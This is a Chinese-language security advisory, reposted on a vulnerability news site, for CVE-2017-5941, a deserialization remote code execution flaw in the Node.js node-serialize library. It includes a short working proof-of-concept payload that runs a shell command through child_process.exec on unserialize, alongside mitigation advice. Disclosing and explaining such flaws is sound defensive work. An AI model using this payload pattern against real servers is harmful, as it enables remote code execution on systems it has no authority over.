CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 安全资讯
  3. 正文

【漏洞公告】Node.js反序列化远程代码执行漏洞通告CVE-2017-5941

2017年2月13日 1208点热度 0人点赞 0条评论

Node.js爆出反序列化远程代码执行漏洞,该漏洞详情如下:

1、综述

Node.js是一个Javascript运行环境(runtime)。实际上它是对Google V8引擎进行了封装。V8引擎执行Javascript的速度非常快,性能非常好。Node.js对一些特殊用例进行了优化,提供了替代的API,使得V8在非浏览器环境下运行得更好。Node.js存在反序列化远程代码执行漏洞,Node.js的node-serialize库中存在一个漏洞,该漏洞通过传输JavaScript IIFE,利用恶意代码(未信任数据)达到反序列化远程任意代码执行的效果。

2、漏洞概述

漏洞类型: 反序列化远程代码执行漏洞危险等级: 高级利用条件: 系统存在Node.js,并且存在node-serialize库

受影响系统: 暂无补丁,Node.js全版本受影响

3、漏洞编号

CVE-2017-5941 Node.js反序列化远程代码执行漏洞

4、漏洞描述

Node.js存在反序列化远程代码执行漏洞,Node.js的node-serialize库中存在一个漏洞,该漏洞通过传输JavaScript IIFE,利用恶意代码(未信任数据)达到反序列化远程任意代码执行的效果。并且Nodejs服务端必须存在接收序列化的数据接口。

5、漏洞利用(POC)

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

6、修复建议

厂商尚未提供漏洞修补方案,请关注厂商主页及时更新:https://github.com/luin/serialize临时解决方案:1. 修改/node_modules/node-serialize/lib/serialize.js中的FUNCFLAG值为随机值并保证该值不被泄漏。

2. 确保Serialize字符串仅内部发送

3. 使用公钥(RAS)加密Serialize字符串,确保字符串不被篡改。

7、即时检测

青藤云安全在漏洞爆出的第一时间,就己检测出该威胁并通知相关客户。参考链接1. https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

2. https://github.com/luin/serialize

声明

本漏洞公告仅用来描述可能存在的安全问题,青藤云安全不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,青藤云安全不为此承担任何责任。青藤云安全拥有对此安全公告的修改和解释权。【原文来源:青藤云安全,安全脉搏yuyang编整理发布】
【安全脉搏:分享技术、悦享品质。文章仅代表作者看法,如有不同观点,欢迎添加安全脉搏微信号:SecPulse,进行交流。】

0day

标签: 暂无
最后更新:2017年2月13日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me